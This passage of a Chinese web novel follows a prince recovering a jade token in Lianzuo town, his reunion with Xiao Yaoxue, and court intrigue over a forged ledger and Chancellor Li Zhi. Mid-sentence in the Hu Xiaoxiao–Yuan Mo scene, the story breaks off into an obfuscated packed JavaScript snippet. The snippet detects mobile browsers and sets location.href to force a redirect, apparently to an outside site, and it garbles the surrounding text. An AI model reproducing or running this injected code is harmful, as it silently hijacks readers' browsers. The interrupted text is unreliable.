周明理也借此空档算是溜进了祠堂，要说这莲座镇最体面的就是他这祠堂，为了迎接圣女，甚至路两边还放了不少花，现在东梁已经入夏，天气甚是炎热，而这些花却没有半分枯萎之色，反倒是如春日一般正当时，周明理随眼一看便注意到那花盆中的鸡蛋，这么多盆花，这么多鸡蛋。普通人家也不是能天天吃得上，更别说莲座镇这样小地方，现在竟然拿来种花，还真是奢侈。 进了祠堂，里面没有牌位，左右两边都是佛龛，全都放满了佛像，但是无一例外都是用红布包得紧紧的，完全看不出真身。 而在祠堂的正中，莲花佛台上没有供佛佛像，而是放着一块个盒子，周明理正想上手去拿，却不料门外传来了声响，听声音正是刚刚在门外那两个小伙子。 “仙师请进，仙师慢点来，哈哈，这就是那玉令，仙师您掌掌眼。” 来者似乎很谨慎，一直没有开口，周明理躲在暗处，听到了那莲座上盒子被拿走打开的声音。似乎那位仙师把玉令取了出来。 “诶，仙师你不能拿，这玉令要等圣女来才可以拿走的。” “哼，滚。” 顿时一股气息席卷祠堂，一旁的蜡烛都被吹灭了，光线顿时更暗了。 周明理现在如热火上的蚂蚁，这怎么圣女还没来又来了个仙师。而且这仙师可不弱，周明理没有练气，就算马术再好，追上了也注定打不过，这可怎么办。 听着那两个守门的已经被撂倒，周明理已经打算心一横冲出来，去拖住这人，就在这时，另一股气息破门而入，听声音这仙师似乎又被逼回了房内。 “放肆，何人敢擅作主张窃取玉令。”来人是个女子，但是似乎没有丝毫惧意。 “哼，臭娘们，就凭你？” 于是一阵叮叮当当刀剑碰撞，东西掉落的声音从祠堂中响起。 哐当！ “该死！”似乎是那所谓的仙师落了下风，周明理通过有限的视线看到了之前装着玉令那个盒子被一分为二，掉落在了地上，但是玉令却并没有出现在他的视线中。 那女子显然已经没有就此罢休的意思，二人又打了起来，此时门外也传来了人群的吵闹声。 “圣女小心，我们来帮你了。” 那仙师多半是不想让太多人看到他，在听到不远处的吵闹声的时候，便一脚踏上了桌子，向着屋顶一跃，一拍，屋顶出现了一个大洞，他就这样顺利脱身了，但是这时候破碎的除了屋顶，还有他刚刚借力的供桌，也在他离开的瞬间砰然粉碎。 众人也就在这时进到了屋内，第一时间都是围着那女子关切，但是突然有人注意到破碎的供桌，指着那边就说道：“你们看，那小偷！” 不错他现在指的人正是周明理，他刚刚因为那仙师进来的猝不及防，他就只好就近藏到了供桌下面。 而刚刚那人借力离开时气息太过强大，不仅供桌震碎了，周明理也被震得七荤八素。 就在他想向角落里爬一段的时候，就被那人这样指了出来。 下一秒原先那些围着那女子的人就冲着他围了过来，眼看是少不了一顿拳打脚踢，周明理已经把身体蜷了起来，把脸埋了进去，自己可不能因为出来一趟回去毁了容，那还怎么见萧妖雪。 可是预期中的殴打却并没有到来，而是以刚刚那个女子的声音又传进了耳朵，周明理现在真觉得这女子一定是神仙下凡，留他一条小命。 “诸位且慢，诸位都是莲座镇人，又是佛门中人，刚刚那歹徒与我在这动刀已经是对众佛不敬，你们这些平民百姓，没有大气运还是不要在佛像面前动粗。” 没想到这话对这些满脑子烧香拜佛的人来说还真有作用，都停下了手，但是还是有人找来了绳子将周明理五花大绑了。 王大姐很快就认出了周明理的身份，上前说道：“怎么是你小子？我就说今天叫你去接圣女见不到你人，原来你从始至终都是奔着着玉令来的，还枉费我觉得你是个见多识广的香火客。啐” 周明理被人绑着，动弹不得，就这样被王大姐啐了一脸。 转头王大姐对着那女子道：“圣女，此人精心谋划欺骗了我，让我把他带进了镇子，我这就把他关起来，过几日便行净化仪式，保证不会让他影响莲座镇。” “好。” 果然这人就是圣女，只是她怎么说这话的时候声音带着笑意呀，她是在取笑自己吗？周明理还没好好打量圣女的的模样，就被人按着押了出去。 出去的时候，听见圣女问了一个奇怪的问题：“这玉令不是真的吧？” 但是还没有等到莲座镇众人的回答，周明理就已经被押出了宅子。 而祠堂内，王大姐听到圣女问出这个问题却是分外惊喜。 “圣女果然好眼力，这玉令确实只是我们放在外面防备这些盗匪。圣女稍等片刻，我给你取真的玉令。” 说着就走向莲台后方，却是翻找一番后惊恐的走了回来。 “圣女……这……” “怎么了？” “玉令……不见了！” ！ 此言并没有让圣女多惊讶，反而是在场的莲座镇的人都开始惊呼。 “我知道了，你们回去吧，这玉令我亲自来找。” “圣女这事我们真的不知道，圣女你一定要如实和佛祖说呀，我们莲座镇人人吃斋念佛，真的没有二心。这个玉令丢失我们真的没有想到。” “一定是刚刚那个香火客，我们这就去严审他。” 人群中已经有人怒发冲冠的往门外去了。 “都给我站住！我说了这事我亲自来查，你们是聋了吗？” 此时众人只觉得这祠堂中温度降到了冰点，明明是夏日，但是他们身上的汗却变得冰冰凉，听着这女子的话，连脚都有些发软。 “你们派人去把他提来我的住处，其他的事就不要插手了。还有要是我发现他有一点受伤，那你们今日的事情，我保证一字不落都会传进佛祖的耳朵。” 说完，将手中的玉令啪的一声摔在地上，顿时玉令粉碎，地上也留下了一个坑。 众人现在也自然知道这位圣女的实力，不再敢自作主张，急忙分了两队，一队人马去找周明理，而另一队则是将圣女送回住处。 好巧不巧这圣女也是住在王家。 周明理被人压出了门进，就带上了头套，之后的路他就完全分辨不出来，头套再被摘去的时候他已经身处黑暗闷热的牢房中。 周明理确认门外的人走了之后，急忙摸了摸了怀中，入手便是一块温良的玉牌，细细摩挲的的可以感受到，这玉牌一面雕龙绘凤，一面刻着八个字“旧主无为，新君当启。” 周明理这才松了一口气，不过那败走的仙师和那圣女看起来都不像是摆设，恐怕都已经意识到那玉令是假的了，自己这块真的要怎么藏才不会被怀疑。 就当周明理正在考虑的时候，身后一只手突然搭上了他的肩：“这里可是可是很久没来新人了，这位公子是怎么进来的。我猜猜该不会是因为打翻了香炉了吧？” “你以为个个都像你这样毛手毛脚，刚刚镇子里这么热闹，恐怕是这位大盗偷了那玉令吧。” “说我毛手毛脚？还不是你一直袖手旁观。不然我至于被那把香灰迷了眼吗？” “诶呀，马得源，马大公子，你是输给路行的徒弟，不丢人。” “你就会说风凉话。” 周明理被人搭上肩的时候整个人都已经僵住了，手上紧紧握着那玉令，直到听到马得源这个名字，他才松了一口气。 那人似乎也感觉到手下扶着的肩膀软了一些，边说就边向着正面转，借着窗户透进来的微光看过去 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“是呀，就是你要娶雪姐姐。那你跑来这莲座镇干嘛？” “来给你姐找嫁妆呀。” “哈？” 李无忧和周明理是第一次见面，显然还是姐夫占了上风。 “你们怎么会在这？路行又是怎么回事？”周明理终于是把话题拉回了正道。 “师傅让我们来查玉令，刚进莲座村一切都好，后来我们就遇到了路行的徒弟严忌。他要偷，我们就交手了，最后我们没打过他，但是他也没有拿到玉令。” “莲座镇的人发现我们，抓不住严忌，就不分青红皂白的把我们给抓了。还说要给我们净化什么的。”马得源在一旁补充道。 “严忌？” “只是我们觉得他也不像是要偷那玉牌，好像就是要让那些人抓我们一样。”李无忧好像是想起什么。 “为什么这么说？” “他没有尽全力，我当时没出手，只有马得源和他打，最后打完他跑的时候，对着那些人说道他两一伙的也想偷玉令。当时马得源被他用香灰迷了眼，晕头转向，我们就这样被绑了。” 听着李无忧这么说，周明理也意识到，似乎刚刚自己暴露也完全是因为那人要破顶而出，只是可惜没有见到他的样貌，不知道是不是严忌。 “那净化呢？又是怎么回事？”周明理想到另一个是，这个词从他第一次从莲坐镇人的口中听到，他就觉得不舒服，李无忧他们好像也知道点。 “就是杀了祭山。” “杀了？他们不都是都信仰佛教吗？怎么还……”话还没说周明理也意识到不对劲了。 “是呀，这群人信佛，每天的饭菜还是大鱼大肉。他们还担心杀生？” “他们有说是什么时候了吗？” “应该就是后日，本来我们两打算再被带出去的时候，直接突出重围，现在没想到殿下来了。”马得源见到周明理之后似乎就一直被纠结和喜悦纠缠，现在周明理终于知道他在纠结什么了。 “到时候，你们……” 话还没说完，走廊里就传来了脚步声，李无忧和马得源快速的缩到了黑暗里，果然火光只照亮牢房中周明理一人。 “起来！走！圣女要见你。” “我？” 来人也不管周明理的疑惑又把他五花大绑起来，架走了。 武清宗小记： 一月之前，武清突然把李无忧和马得源叫到了房中，二人之前有些矛盾，但是自从李无忧整治了马得源一番后，他们两人的关系已经从有些矛盾变成了老死不相往来。 虽然是一同进的武清的门，但是二人全程都不愿意看对方一眼。 “你们二人是武清宗年轻一辈中最杰出的弟子，为师觉的时候让你们出去历练历练了。” 听到这话二人显然都有些激动，来这武清宗已经快一年了，虽然习武不是一朝一夕的事情，但是总是闭门造车，那是行不通的。 “师傅，我们要去哪？”李无忧问道。 “哈哈，不是我们，是你们。你们去趟东边，那边玉令一事闹得沸沸扬扬的，你们去看看到底是怎么回事。” “玉令那不是叛国贼的借口吗？我们也要去趟这趟浑水？”马得源也心怀疑惑。 “去看看吧，能帮多少帮多少。”武清似乎也不太愿意介入这场权力斗争，但是这其中又有他的难言之隐。 “是！”“是！” 于是，简单交代后二人就出发了，只是不知为何，武清竟然要求李无忧把墨剑就在宗内，只让他使用金刚掌。 好在这一路上，两个少年并没有收到什么为难，到了莲座镇也是被奉为座上宾照顾，知道演技出现他们才沦为阶下囚。 二人因为认识自然就被关在了一间牢房，房间里面只有一张又破又小的床，而地上又是泥泞不堪，二人只好挤在一张床上休息，这样整日同吃同住，原来那些不满也在这样单调的日子里消磨了不少，反倒他们的关系得到了不小的改善。 62. 莲座佛缘4 周明理出了莲座镇的地牢就被带上了头套，这样一路弯弯绕绕，待头套再摘了周明理才发现自己身处，正是之前所住的王宅。 只是这个房间是独立空出来的一间，比他那间可大了不少，甚至还带了一个小院子，房间内用的烛火和熏香也不是他那间所能比拟的。 想必这位王家的客人的身份很是尊贵了，至于这整个莲座镇能配得上王家这样招待的，恐怕也只有一人了。 果然正想着从门外就传来了脚步声，周明理都不用回头，就知道来的人是谁了，这圣女排场可真大，有这么好院子住，还有这么多人簇拥左右，还好这玉令已经在他手上了，若是真被这圣女拿了，凭借自己一人之力是很难拿回来的。 “你们都回去吧，不用跟着我。”那圣女开口说话了，声音听起来怪怪的，似乎是刻意捏着嗓子在说。 “圣女，此人诡计多端、穷凶极恶你一个人危险呀。”想必是王家安排来侍奉这位圣女的，可是她这话落到了周明理耳朵里听着怎么就那么别扭呢。 他们这簇拥着的圣女，可是凭借一己之力成功将那玉令从天下第一路行的徒弟严忌的手里抢过来的，还毫发无伤的人。相比于现在被五花大绑丢在房间里的周明理，到底是谁穷凶极恶呀。 “你们放心，此人看起来如此柔弱，伤不到我的。你们也大可以不必担心我私吞了这玉令，举头三尺便是神明，莲座镇的香火这么旺，时常都会引得佛祖垂眸，我又怎么敢在佛祖眼皮底下搞什么小动作。” “圣女言重，我等没有这个意思，那我们就先行告退，圣女若是有什么需要唤我们就行。” “嗯，把门关上。” 周明理被那些人丢在房间中便不想跪着，于是索性就躺在了地上，现在这房门一关，房间中就剩了他们二人，这幅场景发生在莲座镇显得有奇怪，或许发生在潇湘阁就正常了许多。 “你叫什么名字？”圣女也不顾周明理躺尸一样一动不动，而是主动绕到了他的正面，蹲在了他身前问道。 “在下萧逍遥。” “噗，萧逍遥？”显然这个名字在这位圣女耳中听起来甚是奇怪。 “一个名字而已，我还以佛教之人都是喜怒不形于色。” “你来这莲座镇是为了玉令。” “我若说我真的只是一个普通的香火客，本来要去东佛寺路过这歇歇脚而已，不知圣女可信？” “所以你是说一个普普通通的香火客，来了这莲座镇听说圣女来了却不去欢迎，而是趁着四下无人跑去祠堂，藏在了供桌下面，最后还碰巧带走了真正的玉令？你说是这样的吗，殿下？” “你！我不知道你在说什么。” 周明理显然没有想到对方会知道自己的身份，这圣女现在是敌是友他还分不清，断然不能把自己的身份和玉令在他身上的事情说出来。 “哦？不是吗？那可真是可惜了，我刚刚听莲座镇的人说三殿下去了东佛寺，恐怕过两天会来一趟他们这。我还以为我运气，还能和三殿下，来一场偶遇呢。既然你不是，你也没有拿玉令，那看来也没有什么问的必要了。这莲座镇附近确实黑气熏天该好好的净化一下了。” “你要干什么？” 眼见这圣女几句话不合就要叫人，周明理急忙出声阻止。 “我能干什么？”原本已经走到门口的圣女又折了回来掰过了周明理的脸。 “呵呵，圣女其实我与那三殿下确实有一面之缘，若是你不介意，我可以替你引荐。” 二人此时四目相对，就连对方呼出气息，都感受的真切，圣女的眼神似乎一直在打量周明理，想从他的眼中看出这话几分真几分假。 “你是指替我引荐那个整日窝在东佛寺的……” 就在圣女说话的时候，周明理已经将身后的绳结解开了，一抬手一把就揪掉了圣女脸上的面纱，而面纱之下的那张脸他却十分熟悉。 “妖雪？” “无趣。”身份暴露以后，萧妖雪也没有什么表演欲望，将刚刚掰着的周明理的脸又扔回地上，起身向床榻走去。 周明理也只能自己解了身上的绳索，跟过去贴着萧妖雪坐在了她身边。 “我还以为你不来了呢。” “哼，毕竟关乎某人的性命，若是我今日不来，你可就交代在这了你可知道。”萧妖雪其实对于周明理这样抛开孙放独自一人来到莲座镇这行为非常不满意，她一路快马加鞭赶来，以为周明理会以东佛寺作为行动的大本营，没想到去到东佛寺，还真有一个“三殿下”，却不料这位“三殿下”着实难请，最后萧妖雪还是亮出了自己的身份才见到了真人，竟然好似孙放假扮的。 后来听了孙放所说，萧妖雪差点一口气没有上来。 东佛寺这边信奉佛教的人很多，潇湘阁不像其他地方那么好开，所以只留了几个已经离开潇湘阁的鸟雀，消息相比于其他地方也会比较闭塞。 周明理这样贸然前往，若这出大戏背后真的有云阁的手笔，他根本不是对手。 所以萧妖雪是一点都不敢耽误，直接以圣女的身份进了村了，好巧不巧踩在村口的时候，她就感受到了这村中还有一位高手的存在，而且那人就在祠堂，她根本不上向这些愚昧的村民隐藏身份，只提着轻功去了祠堂，就遇上一个所谓仙师的人正在看玉令。 最后那人逃跑还从桌子里面踩出一个周明理来，现在想来恐怕那人的目的根本不在玉令，他就是想要周明理成为这莲座镇的焦点，最好的就是自己这圣女才跳出来给这窃贼说几句好话，这样圣女的身份就值得怀疑了，这玉令还可以继续在这莲座镇散播谣言。 “都说救人一命，胜造七级浮屠。萧少阁主，这可是积了大德了。” “我要这玩意有什么？”萧妖雪听着周明理这嘴上的功夫，心中不禁燃起一股无名火。 “那萧少阁主，想要本王如何报答呢？” 都说一日不见如隔三秋，更别说周明理和萧妖雪这样经历了一场不小的生死离别。 此时周明理就这样附在萧妖雪耳边轻言细语，他每说出一个字，萧妖雪的心就跟着跳一下。萧妖雪心想若是周明理不是皇子，她真想让他真该去潇湘阁赚钱，这勾魂的本事真是见长了。 “咳，这事以后再说，现在这……” 萧妖雪这话还没说完，就被周明理一把把人转了过来，下一秒还没有说出口的词就被这样堵了回去。虽然在刚刚周明理说话的时候，就已经心动，但是周明理这样一步奇兵却完全在她预料之外。 一吻绵长，分开始双方的呼吸都有些乱了。 “以后我怕来不及了。” 四目已经蒙上了迷蒙，被点燃的火烛显然不是一时半会能够熄灭的。周明理的这句话，萧妖雪此时无论脑子怎么转都觉得想不明白。 “所以，君子之理，有恩必报。”床帐落下，只留下周明理这句话久久回荡在萧妖雪耳边。 口拈红豆手揽玉，声似山泉泪缠绵。感念天恩甘霖沐，红络帐中做神仙。 与此同时千里之外的京都，潇湘阁却是一片混乱，就在几日前，京都潇湘阁的楼主突然失踪了，楼中的全部食物都交给一个西域人来处理。 有见多识广的商人，认出了这人他正是西域胡笳城城主江秋鸿的儿子，好像叫做胡晓枭。这潇湘阁在东梁上下足足二十余家门店，但是楼主却清一色都是女流之辈，这胡晓枭还是第一个潇湘阁男掌事，此事很快就引起不少人的注意。 而就在这时，京都城中一处住宅被刑案司翻了个底朝天，最后刑案司那一众官员还是垂头丧气的离开了。而那处住宅正是之前正是京都潇湘阁楼主沈轻离的住处。 大胆的邻居问了刑案司来意，对方只说此人涉及行窃刑案司关键证据，其他就没有再透露什么了。 在沈宅搜索一番无果后，刑最终做出了封楼的决定，就这样东梁第一大青楼，潇湘阁就被封了。 每日进进出出，不再是客人，而是刑案司的官差，这楼里上上下下翻了一遍，却没有半分要解封的意思。 胡晓枭作为现在管事的人，自然是要全程配合，可是配了这几日，却不见一个刑案司管事的，胡晓枭难免也有了情绪，在今日刑案司再来的时候，胡晓枭命人将大门给锁了，无论外面的人怎么叫嚣，他都不开门。 今日京都天公不作美，虽然未着雨，但是此时天上乌云笼罩，空气也闷热得很，这让楼里楼外的人都难免有些浮躁。 潇湘阁的封禁令是有期限，今日就是最后一日，过了今日，但是这事情的主办官胡晓枭还没有亲眼见过，若是就这样不明不白被搜查一番，以后潇湘阁名声可就被坏了，这京都最不少的就是虎视眈眈的群狼，潇湘阁可不能就这样被分而食之。 直到外面传来了一个他很陌生的声音。“胡楼主，在下刑案司副职袁墨。今日是潇湘阁最后一日封禁，还望胡楼主不要为难我们，我们也不过奉命办事。” 显然袁墨这话很是有用，这话音刚落，潇湘阁的门就开了，胡晓枭对着他们比了一个请的手势。 一众官差这才鱼贯而入，开启了最后一轮地毯式搜索。而此时昏暗的天空也开始下雨了。 “袁大人，夏日雨急，不如进来稍坐一叙？”胡晓枭看着又要准备离开的袁墨，及时出声阻止了他已经提起来的脚步。 袁墨脚下一顿，似乎是思考了一会，最终还是走向了潇湘阁。 胡晓枭吩咐人去备茶，却被袁墨拦了回来。 “胡楼主，有事就直说吧。本官带伞了，说完我就走。” “袁大人还真是公务繁忙，那我就直接问了。袁大人这几日揪着我们潇湘阁和沈楼主不放到底是为了什么？” “刑案司丢了东西，有人看到是你们潇湘阁的人干的。” “晴儿不是已经被你们带走了吗？” “东西没有找到，晴儿说她给了沈轻离。” “她都招了。” “是呀，小姑娘没进过地牢，我都还没用刑，她就自己全说了。等到我们再去找沈轻离的时候，就发现她已经不知所踪了。” “袁大人说的东西是账簿吧。” “你知道呀，看来还真在沈轻离那里。”显然袁墨对于胡晓枭知晓这账簿的存在并不意外。 “袁大人要的不过是一个理由，但是那账簿根本就是伪造的，恐怕就算找到了作为你的证据，也很容易被反驳吧。” “你在说什么！”袁墨听到胡晓枭这么说，显然有些生气。他只要有了这账簿，他就可以控告李治当年谋害鬼月，这样当年的事情才算能有个了结，胡晓枭这样一个外人有什么资格对他评头论足。 “我看过那账簿，那账簿上的账对不起来，少了两个人头，我又看了一下名单，想必这两人应该是袁墨和袁梅吧。” “你！” 袁墨之前就听说这位胡笳城少阁主的事情，但是怎么听都是一个难成大事傻公子，但是他现在这个样子哪有半分傻气。甚至连袁墨都看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052887|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出他身后有人指点的痕迹，但是就算是开窍了也太奇怪了吧。 “袁大人，我知道你们破案心切，潇湘阁本来就是常年与刑案司合作的，也不想因为这一次误会，而坏了关系，不如这样我们做一笔交易。” “什么交易？”袁墨现在对于胡晓枭的警惕可以说完全不输对于萧妖雪，因为这个不时冒傻气的小伙子，他实在有些看不透。 “前几天潇湘阁得了大人想要的消息，而大人也只用事后还潇湘阁一纸清白就够了。” “怎么还，那沈轻离可是你们的楼主。” “她所做之事，与潇湘阁无关便好，这不都是你袁大人一句话的事。” 听了这话，袁墨眉头拧得更紧了，他本意也不想与潇湘阁为敌，本想着事情已经发生到这样地步，他们今早闭门不开，双方就差刀剑相向了，没想到此时这胡晓枭竟然让这局面峰回路转了。 “好，我答应你，说说你的消息吧。” “关键是那账本，我看了除了多了两个人头，其他的都没问题，那袁大人应该就知道这账本现在最想得到的人，该是谁了？” “李相？” “那沈楼主被刑案司这样通缉，整个京都她还能安心去哪？” 袁墨眉头稍微舒展了一些，但是脸上还全是顾虑。 胡晓枭知道他是在担心这账本是假的，并不能让李治认罪。于是又接着说道：“袁大人路可不能走窄了，现在他可是私藏了你们的嫌犯。” 听到这话，袁墨只觉得峰回路转，拨云见日的感觉，只是可惜这最后只能这样治罪。 “多谢胡楼主提醒。”袁墨对于胡晓枭还是满心感激，确实这事是自己钻了牛角尖了。 “袁大人有事，在下就不多留了，公务要紧。” 袁墨也是起身就走，走了几步，又转头唤来刑案司的收了队。 刑案司的人马走了以后，整个潇湘阁中就只剩下了胡晓枭一个人，他又坐回了刚刚凳子上，对着袁墨之前坐的地方自言自语道：“明明那些恩怨已经那么久远了，为什么还紧握着不放，等到了真的知道了真相那一日，不知道他到底是大仇得报的快感，还是被摆弄于棋局之上的无力呢。” 正说着对面坐下了一人，正是消失已久的沈轻离。 “自己在这嘀嘀咕咕什么呢？” “沈楼主，你怎么来了。” “怎么我的地方我不能来呀。不过胡晓枭我真看不出来，你这嘴这么能说，倒是我之前低估你了。” “沈楼主不知道还多着呢，好好留着命，以后我去胡笳城告诉你。”胡晓枭这性子就是不经夸，沈轻离这才两句，他就上天了。 “哈哈，好，我会记住的。” 徐战小记： 周钦德被抓的消息，很快就传到了徐战的耳朵里。徐战看着这满屋子的之前被周钦德安排狸猫换太子就下的大人们心中就是一股无火。 这段时间飞了这么多心力，难道最后都要付之一炬了吗。 就在徐战还在懊悔的时候，大门被人敲响了，开门一看来人正是之前与他打过招买呢卢化和苏沐风 “徐大人，德王殿下的事情我们也听说，听说今天囚车要转运，我们想着不如就凭死一搏，留得青山在不怕没柴烧。先把殿下和袁清给就下来，之后的事情之后在商量。” “可是……”徐战内心很是挣扎，他知道殿下会出这样的事情，多半是他们中的某一环出了问题，但是他现在不敢轻举妄动，一旦他们出手去救周钦德，那就等于放弃了这一屋子的证人，那他们这段时间的努力真的就付之东流。 但是若是不去，将军阁会指控刑案司怎么做，他想都不敢想。 “徐大人，鱼和熊掌不可兼得。”就连一向谨慎的苏沐风也开口劝道。这让徐战的不由得又动了心。 “那……”正当徐战要做出回应的时候，身后放头上的瓦片发出了轻响，众人急忙看去，便看见那破旧的瓦房上站了一个女子。 那女子显然也看到底下那三个男子虎视眈眈的看着自己，却并没有转身逃跑，而是飞身而下，落在院中，而此时众人已经兵刃出鞘，气氛一时间更加紧张了。 “诸位大人不必紧张，我是潇湘阁的鸟雀沈轻离，今日是来给徐大人报信的没想到，鬼月的两位大人也在。” “潇湘阁，怕是信不得了。”卢化之前就对他们此次计划败露是萧云雁反水有所怀疑，此时又冒出一个潇湘阁的人显然更加紧张了。 “你要说什么。”徐战却还是让她把话说完。 “德王殿下此次被捕确实是云雁的计划。” “我就说！”听到这话别说卢化了，徐战和苏沐风都逼近了她几分。 “潇湘阁到底要干嘛？”徐战现在又急又气，但是显然对方话还没有说完。 “云雁想借这样的方式名正言顺见圣人，而近日转运德王殿下，就是将军阁打算钓出各位的计谋。” “你凭什么这么说？”苏沐风问道。 “据我们的消息说，将军阁知道京都里面德王殿下可能藏了，但是一直没能找，之前那次突袭，他们发现了是鬼月假扮的。所以这次才特地放了这个假消息给鬼月，为的就是让徐大人出手。” “那我们该怎么做？”徐战也冷静下来，德王毕竟是分封王，将军阁再怎样权势滔天，也不敢随意对一个王爷怎样，刚刚确实是急躁了，现在等的确是最好的选择。 “按兵不动，之后的行动，等我消息。” 63. 今非昔比 离了潇湘阁袁墨，并没有要刑案司的一众官差一路跟随，而是独自前往了李府。到了李府门前好巧不巧便在一旁幽暗的巷子里，看到了沈轻离的身影。 袁墨就这样站在街对面看着沈轻离谨慎环顾了四周，然后从李府的后门进了李府。 “果然是这样的吗？”袁墨不禁自己嘀咕了几句，今天见了一面胡晓枭似乎一切都变得异常顺利，原本已经停步不前这么久的事件，这突然就有了巨大的进展，而且也正如胡晓枭所说，现在李府窝藏嫌犯这个理由可比那个假账本好用多了。 正当袁墨打算离开的时候，他注意到李府的后门处还停了一辆马车，刚刚沈轻离显然是没有坐马车回来的，再看那马车，马匹精壮有力，眼睛炯炯有神，马车擦得很干净，甚至在车顶还新打了防雨的蜡，这显然是要出远门呀。 可是李安国远去西域，李无忧也一直没有回来，至于萧妖雪，根据之前暗探的消息，她应该已经离开了京都，那这李府要出远门的马车……！ 袁墨顿感大事不妙，匆匆就离开了，但是他却并没有回刑案司，而是去了周明启的府邸，如今袁梅与周明启成婚已经快过去一月了，这期间他与周明启走得也越来越亲近了。 看门的护院看见袁墨这样匆匆赶来，也没有半分疑惑，而是直接将他引到周明启的书房。 “袁兄来了。”周明启看到袁墨也是礼貌上前迎接，可是袁墨只是简单行了礼，就直奔主题而去。 “我们必须要行动，李治恐怕要打算跑路了。” “跑路？” “对，今日我看见沈轻离进了李府。李府门口已经备好了马车。” “你是说逃跑嫌犯窝藏在李府？这确实是个不错的理由，虽然你刚刚说的听起来就像一个陷阱，但是不入虎穴，焉得虎子。我们就陪他演一回。” “我这就去刑案司，安排人手。” “不着急，明日早朝，我们当朝启奏，我这新婚也在家过了一个多月好日子，是该回去看看这朝堂现在是什么样子了。” 而李府之内，沈轻离进了府没多久，李治就回来了。可是折回来并没有第一时间去找沈轻离，而是去了王氏的房间。 “你的东西收好了吗？”李治看着这些年朝夕相处的王氏，心中难免有些不舍。 “都收好了，老爷你的我也给你收好了，我们什么时候走？” “天马上就要黑了，你趁着天黑之前就出城。” “我？那老爷你呢？” “我还不能走。” “那我等你。”王氏听到李治这话也有些慌神了，虽然李治说的是现在不能走，但是这件事恐怕现在不能走，以后就是走不了了。 “不行！东西既然已经收好了，那现在就走吧。”李治的语气也强硬了起来，这件事他不想拖累任何一个人。 “老爷，我虽然是你的妾室，但是夫妻一体，你我是分不开。” “你这话倒是提醒了我了。”说着李治从怀里拿出来一张纸，王氏展开一看，白纸黑字写着休书。 “你要休了我？” “不错，这几年过去我们情分已尽，也不必再留恋了。”王氏顿时觉得天旋地转，而李治却在她呆愣愣的时候，已经将她拉起来，搀着上了马车，又对着车夫和丫鬟交代了几句，便让马车出了城。 至此之前人丁兴旺的相府，现在就只剩下李治孤零零的一人了。明日的朝服王氏已经烫好，正板板正正挂在房中。晚饭时分将近，厨房已经将今晚饭菜布好，但是整个厨房已经没了人影，最后只留下几个贴身的侍奉的家丁跟在李治左右，在夜幕降临之时，李治也让他们拿着行囊离开了的相府。 这偌大的相府顿时没了人气，李治一人坐在空荡荡的院中，今日那场大雨，冲刷尽了这几日的炎热，来了丝丝秋意。此时的天空群星闪耀，在漫天星海里，明亮的星星不少，但似乎经常变化。 “李大人，还在看星星呢？”身后传来了一个女子的声音，是呀！他怎么忘了这李府中还有一个人。 “沈楼主，还没休息？” “睡不着，想着出来看看星星。” “坐吧，睡觉不差这一晚，可是这星星恐怕是没有机会再看了。” “李大人，你后悔吗？” “没什么好后悔的，那沈楼主呢？你后悔吗？” “我这辈子都没有后悔过，所以我走到了今天。” “放心吧，妖雪一定会安排好的，沈楼主你不过是走个过场，只是可惜了你这楼主之位。” “怎么能说可惜呢，我帮你可就是为了不坐这楼主之位了。” “那可真是好，两全其美，哈哈哈哈，那我便提前祝沈楼主以后天高海阔，” “那轻离也祝李大人得偿所愿。” 之前相交甚少的两个人，就这样看了一夜的星星，第二日一早，沈轻离帮李治收拾收拾了，便继续在李家等着。 金殿之上，龙椅之上依旧没有人影，如今圣人已经一个月没来上朝了，但是好在周明志这段时间理朝也是稳稳当当，没有出什么大乱子。 “臣有事启奏。”袁墨率先站了出来。 “讲。”一旁公公尖锐的嗓音，回荡在这大殿之上。 “臣今日彻查崔府惨案，发现崔府疑似在刑案司官员搜查之前遭人行窃。” “行窃？在刑案司的眼皮底下？”周明志显然袁墨所说并不相信，同时群众中也弥漫开窸窸窣窣的讨论声。 “不错，刑案司发现，潇湘阁前楼主沈轻离，借证人晴儿之手，窃走了崔府中一个账本，这个账本事关之前圣人命巡检司复查的鬼月一案。而在我们捉拿了晴儿之后，沈轻离却带着账本不知所踪。” “季大人可有此事呀？”周明志对着台下的季执礼问道。 这鬼月一案的复查是圣人在春神祭的时候提出的，如今已经过好几个月，若不是今日袁墨提出来，在场的都快忘完了。 “回禀殿下，袁大人所言属实。” “哦？这明明是巡检司的活计，你刑案司能逗如此上心也是我东梁的福气。那巡检司关于这件事有没有什么进展。” “袁大人所说的这本账本，我们巡检司也查到了，但是鉴于崔伦之前狱中的状态，我们怀疑这本账本恐怕是假的。” 听到这话，袁墨心中一寒，若是二殿下以此为由就此打住，那这事还真不好往下说。 按理来说刑案司和巡检司都在查这件事，这好几个月过去，他却完全没有发现巡检司在这事上留下的蛛丝马迹，这到底是什么原因。 “那不过是你的怀疑罢了，现在只要找到这本账本，不就解决了吗？袁大人，这账本现在你拿到了吗？” “微臣无能，现在账本还没有拿到。” “那便接着找呀，对了你刚刚不是说要掺一个人吗？你要掺谁？” “不错，臣要掺的正是当朝宰相李大人李治。臣要掺他私藏窝藏嫌犯，还打算卷款潜逃。” 这话一出这金殿上才是真的炸开了锅，这些年想要搞垮李治的人的数不甚数，但是这样真的敢当朝对簿的人，这袁墨还是第一个，而且这袁墨在之前都被视作李治一派的人，他这行为可是朝堂大忌。 “你可有证据？” “臣亲眼见到沈轻离进了李治的府邸，在那之后，臣安排了人手在李府附近盯梢，可以确定沈轻离至今还在李府之中。” “李大人，你可有什么要说的？”袁墨这边证据确凿，周明志现在倒想听听李治会如何辩驳。 “袁大人，此言差矣，你说你看到了沈轻离在我李府，你就断定是我窝藏，只是不是有些武断了，若是我说我根本就不知道她藏在我府邸呢？” “不错袁大人已经遣散了所有的家丁，现在我们很难找到证人，但是恰巧昨夜刑案司的人都在墙头蹲守，正好看到了你们二人就在院中密谈，这事李大人应该不至于狡辩了吧。我想搜一下应该不难看出沈轻离在你家贵客的待遇吧。” “你！” 